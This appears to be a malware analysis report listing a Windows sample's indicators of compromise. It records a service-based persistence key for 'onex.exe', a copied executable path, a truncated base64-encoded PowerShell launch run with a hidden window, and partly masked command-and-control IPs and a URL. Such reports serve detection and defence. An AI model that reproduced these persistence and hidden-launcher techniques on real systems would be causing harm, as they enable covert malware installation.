Technical Information
- [<HKLM>\System\CurrentControlSet\Services\onex] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\onex] 'ImagePath' = '"%WINDIR%\SysWOW64\UIRibbon\onex.exe"'
- 'onex' "%WINDIR%\SysWOW64\UIRibbon\onex.exe"
- 'onex' %WINDIR%\SysWOW64\UIRibbon\onex.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABMADQAdgA9ACAAWwB0AHkAcABlAF0AKAAiAHsAMAB9AHsAMwB9AHsANQB9AHsANAB9AHsAMgB9AHsAMQB9ACIALQBGACAAJwBTAFkAcwBUACcALAAnAFkAJwAsACcAUgAnACwAJwBFAE0ALgAnACwAJwBPAC4ARABpAHIARQ...
- %HOMEPATH%\tq_5dyh\m0l15yq\xfe7a3xdc.exe
- %WINDIR%\syswow64\uiribbon\onex.exe
- from %HOMEPATH%\tq_5dyh\m0l15yq\xfe7a3xdc.exe to %WINDIR%\syswow64\uiribbon\onex.exe
- '5.#.246.108':80
- '91.##1.87.90':8080
- '10#.#31.144.215':8080
- '18#.#26.165.170':8080
- http://18#.###.165.170:8080/1qCMPjg/tp18t1U/UqRgKCKQV/ju73YGPDLCwX/8nmpHFVptLex2W3U3U/iymVT5KHK8fi6H5/ via 18#.#26.165.170
- DNS ASK lu##ox.com
- '%HOMEPATH%\tq_5dyh\m0l15yq\xfe7a3xdc.exe'
- '%WINDIR%\syswow64\uiribbon\onex.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABMADQAdgA9ACAAWwB0AHkAcABlAF0AKAAiAHsAMAB9AHsAMwB9AHsANQB9AHsANAB9AHsAMgB9AHsAMQB9ACIALQBGACAAJwBTAFkAcwBUACcALAAnAFkAJwAsACcAUgAnACwAJwBFAE0ALgAnACwAJwBPAC4ARABpAHIARQ...' (with hidden window)